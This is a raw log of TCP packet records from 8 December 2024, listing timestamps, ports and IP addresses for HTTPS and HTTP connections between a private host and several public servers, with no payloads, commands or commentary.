Dec 8, 2024 00:48:19.153677940 CET	443	49712	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:19.154305935 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:19.154373884 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:19.154674053 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:19.154735088 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:19.154845953 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:19.154853106 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:19.183389902 CET	49710	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:19.183413029 CET	443	49710	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:19.198688984 CET	49712	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:19.198776960 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:19.229496956 CET	49710	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:19.420327902 CET	49712	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:19.420917988 CET	443	49712	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:19.421001911 CET	49712	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:19.646971941 CET	80	49701	185.215.113.206	192.168.2.7
Dec 8, 2024 00:48:19.649507999 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:19.685547113 CET	443	49715	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:19.689672947 CET	49715	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:19.689707994 CET	443	49715	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:19.690732956 CET	443	49715	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:19.690807104 CET	49715	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:19.691237926 CET	49715	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:19.691308022 CET	443	49715	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:19.691452980 CET	49715	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:19.691466093 CET	443	49715	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:19.743354082 CET	49715	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:19.986562014 CET	443	49710	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:19.986614943 CET	443	49710	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:19.986695051 CET	49710	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:19.986721039 CET	443	49710	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:19.986844063 CET	443	49710	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:19.986893892 CET	49710	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:19.986901045 CET	443	49710	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:19.991666079 CET	443	49710	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:19.995111942 CET	49710	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.037528992 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.037816048 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.037858963 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.037893057 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.037911892 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.037964106 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.037980080 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.050810099 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.050916910 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.050990105 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.051028013 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.051073074 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.053946972 CET	49710	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.053967953 CET	443	49710	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.056910038 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.066636086 CET	49677	443	192.168.2.7	20.50.201.200
Dec 8, 2024 00:48:20.097121000 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.123719931 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.156975031 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.157007933 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.157026052 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.157057047 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.157094002 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.218441010 CET	443	49718	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.219254017 CET	49718	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.219271898 CET	443	49718	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.220156908 CET	49718	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.220163107 CET	443	49718	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.220244884 CET	443	49719	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.220751047 CET	49719	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.220771074 CET	443	49719	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.221410990 CET	49719	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.221415997 CET	443	49719	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.222003937 CET	443	49721	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.222440958 CET	49721	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.222456932 CET	443	49721	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.223072052 CET	49721	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.223078966 CET	443	49721	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.223627090 CET	443	49720	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.224657059 CET	49720	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.224680901 CET	443	49720	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.224989891 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.225282907 CET	49720	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.225287914 CET	443	49720	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.232148886 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.232207060 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.232233047 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.245480061 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.245521069 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.245529890 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.259224892 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.259268045 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.259275913 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.272876024 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.272943020 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.272958994 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.286639929 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.286719084 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.286742926 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.300192118 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.300251007 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.300260067 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.305512905 CET	443	49722	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.313954115 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.314024925 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.314035892 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.327676058 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.327841997 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.327853918 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.346762896 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.346798897 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.346838951 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.346857071 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.346894026 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.358964920 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.363898993 CET	49722	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.375847101 CET	49722	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.375869989 CET	443	49722	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.376414061 CET	49722	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.376418114 CET	443	49722	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.405462027 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.405477047 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.412929058 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.412986994 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.412995100 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.421580076 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.421653986 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.421663046 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.433339119 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.433403969 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.433413982 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.446969986 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.447041988 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.447050095 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.459525108 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.459595919 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.459604979 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.472243071 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.472310066 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.472316980 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.483781099 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.483851910 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.483860016 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.495259047 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.495330095 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.495338917 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.506793022 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.506860971 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.506867886 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.518289089 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.518348932 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.518357038 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.562870979 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.637904882 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.679009914 CET	443	49715	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.679136992 CET	443	49715	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.679208994 CET	49715	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.687478065 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.687498093 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.690181971 CET	49715	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.690203905 CET	443	49715	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.733092070 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.757425070 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.804722071 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.804739952 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.850733042 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.876656055 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.876718044 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.876749039 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.876760960 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.876790047 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.876827955 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.876832962 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.877207994 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.877235889 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.877244949 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.877249956 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.877279043 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.877284050 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.878087044 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.878124952 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.878134012 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.878139019 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.878182888 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.878199100 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.878202915 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.878237009 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.878988028 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.879045963 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.879077911 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.879086971 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.879092932 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.879128933 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.879133940 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.879959106 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.879998922 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.880007029 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.880012035 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.880048990 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.880053997 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.880873919 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.880906105 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.880917072 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.880922079 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.880959988 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.880964994 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.880999088 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.881036043 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.881043911 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.881674051 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.881717920 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.881721973 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.881731987 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.881769896 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.881788015 CET	443	49718	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.881848097 CET	443	49718	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.881895065 CET	49718	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.882239103 CET	49718	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.882261992 CET	443	49718	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.882273912 CET	49718	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.882286072 CET	443	49718	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.882661104 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.882755995 CET	443	49719	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.882855892 CET	443	49719	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.882874966 CET	443	49720	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.882910967 CET	49719	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.882950068 CET	443	49720	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.882991076 CET	49720	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.883192062 CET	443	49721	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.883233070 CET	443	49721	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.883270025 CET	49721	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.883308887 CET	49720	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.883327007 CET	443	49720	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.883341074 CET	49720	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.883346081 CET	443	49720	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.883371115 CET	49719	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.883383989 CET	443	49719	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.883395910 CET	49719	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.883400917 CET	443	49719	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.883491993 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.883533955 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.883541107 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.883584023 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.883620024 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.883621931 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.883630037 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.883661985 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.883683920 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.884468079 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.884502888 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.884509087 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.884598970 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.884639978 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.885127068 CET	49721	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.885144949 CET	443	49721	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.885155916 CET	49721	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.885162115 CET	443	49721	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.885514975 CET	443	49722	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.885569096 CET	443	49722	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.885608912 CET	49722	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.886070967 CET	49713	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:20.886080980 CET	443	49713	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:20.886702061 CET	49722	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.886702061 CET	49722	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.886709929 CET	443	49722	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.886717081 CET	443	49722	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.890580893 CET	49724	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.890621901 CET	443	49724	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.890698910 CET	49724	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.890924931 CET	49725	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.890969038 CET	443	49725	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.891028881 CET	49725	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.891803980 CET	49726	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.891818047 CET	443	49726	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.891880035 CET	49726	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.892011881 CET	49724	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.892025948 CET	443	49724	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.892102957 CET	49725	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.892123938 CET	443	49725	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.893387079 CET	49726	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.893399954 CET	443	49726	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.893898010 CET	49727	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.893913031 CET	443	49727	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.893965960 CET	49727	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.894078970 CET	49727	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.894087076 CET	443	49727	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.895781040 CET	49728	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.895790100 CET	443	49728	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:20.895859957 CET	49728	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.895993948 CET	49728	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:20.896006107 CET	443	49728	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:21.468172073 CET	49733	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:21.468208075 CET	443	49733	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:21.468283892 CET	49733	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:21.468496084 CET	49733	443	192.168.2.7	216.58.208.228
Dec 8, 2024 00:48:21.468511105 CET	443	49733	216.58.208.228	192.168.2.7
Dec 8, 2024 00:48:22.394963026 CET	49734	443	192.168.2.7	23.218.208.109
Dec 8, 2024 00:48:22.394985914 CET	443	49734	23.218.208.109	192.168.2.7
Dec 8, 2024 00:48:22.395056009 CET	49734	443	192.168.2.7	23.218.208.109
Dec 8, 2024 00:48:22.396848917 CET	49734	443	192.168.2.7	23.218.208.109
Dec 8, 2024 00:48:22.396862030 CET	443	49734	23.218.208.109	192.168.2.7
Dec 8, 2024 00:48:22.607635021 CET	443	49725	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:22.607899904 CET	443	49724	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:22.609183073 CET	49725	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:22.609209061 CET	443	49725	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:22.609622955 CET	49725	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:22.609627962 CET	443	49725	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:22.609703064 CET	443	49728	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:22.609992981 CET	49724	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:22.610018969 CET	443	49724	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:22.610347033 CET	49724	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:22.610357046 CET	443	49724	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:22.610421896 CET	49728	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:22.610435009 CET	443	49728	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:22.610744953 CET	443	49726	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:22.610938072 CET	49728	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:22.610941887 CET	443	49728	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:22.611133099 CET	49726	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:22.611150980 CET	443	49726	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:22.611351013 CET	443	49727	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:22.611491919 CET	49726	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:22.611496925 CET	443	49726	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:22.611694098 CET	49727	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:22.611707926 CET	443	49727	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:22.612046003 CET	49727	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:22.612051010 CET	443	49727	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:22.809058905 CET	49735	443	192.168.2.7	20.109.210.53
Dec 8, 2024 00:48:22.809101105 CET	443	49735	20.109.210.53	192.168.2.7
Dec 8, 2024 00:48:22.809179068 CET	49735	443	192.168.2.7	20.109.210.53
Dec 8, 2024 00:48:22.811120987 CET	49735	443	192.168.2.7	20.109.210.53
Dec 8, 2024 00:48:22.811132908 CET	443	49735	20.109.210.53	192.168.2.7
Dec 8, 2024 00:48:23.038728952 CET	49701	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:23.038989067 CET	49738	80	192.168.2.7	185.215.113.206
Dec 8, 2024 00:48:23.041409016 CET	443	49725	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.041471004 CET	443	49725	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.041529894 CET	49725	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.041733980 CET	49725	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.041749954 CET	443	49725	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.041760921 CET	49725	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.041766882 CET	443	49725	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.042205095 CET	443	49724	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.042260885 CET	443	49724	13.107.246.63	192.168.2.7
Dec 8, 2024 00:48:23.042306900 CET	49724	443	192.168.2.7	13.107.246.63
Dec 8, 2024 00:48:23.042382956 CET	49724	443	192.168.2.7	13.107.246.63
